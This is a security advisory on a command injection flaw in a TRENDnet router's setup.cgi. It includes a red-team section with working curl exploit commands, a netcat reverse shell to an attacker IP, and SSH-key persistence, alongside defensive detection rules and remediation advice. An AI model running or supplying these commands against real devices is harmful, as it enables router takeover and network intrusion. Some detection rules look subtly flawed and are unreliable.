CVE-2025-65202

Executive Summary

CVE-2025-65202 is a critical authenticated remote OS command injection vulnerability discovered in the TRENDnet TEW-657BRM router, specifically in firmware version 1.00.1. The flaw resides within the setup.cgi binary, where unsanitized user input passed through the HTTP parameters command, todo, and next_file is directly executed by the operating system. An attacker with valid administrative credentials can exploit this to execute arbitrary commands with root privileges, leading to full device compromise, network pivoting, and persistent backdoor installation.

This vulnerability is particularly dangerous because the device is an edge network appliance, often deployed in small office or home office (SOHO) environments. The lack of a vendor patch at the time of analysis means all devices running this firmware are at immediate risk. The attack vector is network-based, requires authentication, but the impact is total system compromise.

CVSS Breakdown & Threat Level

The CVSS v3.1 base score is 8.8 (HIGH).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires valid admin credentials.
• User Interaction (UI): None (N) – No user action needed beyond the attacker.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file system read access.
• Integrity (I): High (H) – Full file system write access, ability to modify firmware.
• Availability (A): High (H) – Ability to crash the device or disrupt services.

Threat Level: Critical. While authentication is required, default credentials are often unchanged, and the impact is total device takeover. This is a prime target for botnet recruitment and persistent access.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the setup.cgi CGI binary. This binary handles various configuration and management requests. The parameters command, todo, and next_file are likely used to specify actions, tasks, and file paths for the CGI script. The application fails to sanitize or escape shell metacharacters (e.g., ;, |, $(), `) before passing the input to a system-level function like popen(), system(), or exec().

Attack Flow:

1. Authentication: The attacker first authenticates to the web interface with administrative credentials (e.g., admin:admin).
2. Crafting Payload: The attacker crafts a malicious HTTP request to setup.cgi with one of the vulnerable parameters containing a command injection payload. For example:

   POST /setup.cgi HTTP/1.1
   Host: 192.168.1.1
   Cookie: [session_cookie]
   Content-Type: application/x-www-form-urlencoded
   
   command=ping&todo=save&next_file=/etc/passwd;id
   

3. Execution: The setup.cgi binary constructs a shell command like do_something "ping" "save" "/etc/passwd;id" and executes it. The injected ;id command is executed with root privileges.
4. Output: The output of the injected command (e.g., uid=0(root) gid=0(root)) is returned in the HTTP response, confirming code execution.

The root cause is the lack of input validation and the use of shell execution functions without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual C):

void handle_setup_cgi(char *command, char *todo, char *next_file) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "/usr/bin/setup_handler %s %s %s", command, todo, next_file);
    system(cmd); // VULNERABLE: Direct shell execution
}

Patched Code (Conceptual C):

void handle_setup_cgi(char *command, char *todo, char *next_file) {
    // Sanitize inputs: remove shell metacharacters
    sanitize_input(command);
    sanitize_input(todo);
    sanitize_input(next_file);

    // Use execve() with arguments instead of system()
    char *args[] = {"/usr/bin/setup_handler", command, todo, next_file, NULL};
    execve(args[0], args, NULL); // SAFE: No shell interpretation
}

The patched version uses execve() which does not invoke a shell, and sanitizes inputs to remove dangerous characters. Since no official patch is available, this is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: TRENDnet TEW-657BRM with firmware 1.00.1 (or emulated via QEMU/FirmAE).
• Attacker: Kali Linux VM on the same network.
• Tools: curl, Burp Suite, custom Python script.

Exploitation Steps:

1. Authenticate: Obtain a valid session cookie.

   curl -c cookies.txt -d "username=admin&password=admin" http://192.168.1.1/login.cgi
   

2. Verify Injection: Test with a benign command.

   curl -b cookies.txt -d "command=ping&todo=save&next_file=/etc/passwd;id" http://192.168.1.1/setup.cgi
   

   Response should contain uid=0(root).

3. Reverse Shell: Execute a reverse shell payload.

   curl -b cookies.txt -d "command=ping&todo=save&next_file=/etc/passwd;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f" http://192.168.1.1/setup.cgi
   

   On attacker machine: nc -lvnp 4444

4. Persistence: Add an SSH key or create a cron job.

   curl -b cookies.txt -d "command=ping&todo=save&next_file=/etc/passwd;echo 'ssh-rsa AAA...' >> /tmp/.ssh/authorized_keys" http://192.168.1.1/setup.cgi
   

Blue Team (Defensive)

Detection & Response:

1. Monitor HTTP Logs: Look for requests to /setup.cgi with unusual parameters containing shell metacharacters (;, |, &, $()).
2. Network Traffic: Detect outbound connections from the router to unusual IPs on high ports (e.g., 4444, 1337).
3. File Integrity: Monitor for new files in /tmp/ or /etc/ (e.g., /tmp/f, /tmp/.ssh/).
4. Process Monitoring: Watch for spawned shells (/bin/sh) from the setup.cgi process.
5. Honeypot: Deploy a decoy router to capture exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /setup.cgi with parameters containing ;, |, $(), `.
  • Outbound connections from the router to external IPs on non-standard ports (e.g., 4444, 1337, 31337).
  • DNS queries to known C2 domains.
• Host (on the router):
  • Presence of files: /tmp/f, /tmp/.ssh/, /var/run/backdoor.
  • Running processes: /bin/sh spawned by setup.cgi, nc, telnetd.
  • Modified system binaries: /sbin/init, /usr/sbin/httpd.
  • New cron jobs in /etc/crontab or /var/spool/cron/.
• Logs:
  • Web server logs showing 200 OK responses to /setup.cgi with suspicious parameters.
  • System logs (/var/log/messages) showing sh or bash execution from setup.cgi.

Detection Engineering

YARA Rule

rule CVE_2025_65202_Command_Injection {
    meta:
        description = "Detects command injection attempts against TRENDnet TEW-657BRM setup.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65202"
    strings:
        $param1 = "command="
        $param2 = "todo="
        $param3 = "next_file="
        $shell1 = /[;&|`$()]/
        $shell2 = /(system|exec|popen|shell_exec)/
    condition:
        any of ($param*) and any of ($shell*)
}

Sigma Rule

title: CVE-2025-65202 TRENDnet TEW-657BRM Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to setup.cgi with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/setup.cgi'
        cs-uri-query|contains:
            - 'command='
            - 'todo='
            - 'next_file='
    filter:
        cs-uri-query|re:
            - '^[a-zA-Z0-9_]+$'  # Normal parameters
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with simple parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65202 TRENDnet TEW-657BRM Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/setup.cgi"; http_uri;
    content:"command="; http_client_body;
    pcre:"/(?:[;&|`$()]|system|exec|popen)/Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-65202;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Device: Disconnect the TEW-657BRM from the internet and untrusted networks immediately.
2. Change Default Credentials: If not already done, change the admin password to a strong, unique password.
3. Disable Remote Management: Turn off remote administration (WAN-side access) in the router settings.
4. Monitor Logs: Review router logs for any signs of exploitation.

Long-Term Fix:

• Vendor Patch: Contact TRENDnet support and request a firmware update. Since no patch is available, consider replacing the device with a supported model.
• Workaround: If the device must be used, implement strict firewall rules to allow only trusted IPs to access the management interface. Use a reverse proxy with WAF capabilities (e.g., ModSecurity) to filter malicious requests.

Detection & Prevention:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Use network segmentation to limit the blast radius.
• Implement a SIEM to correlate logs from multiple devices.

Valters IT
Securing Digital Frontiers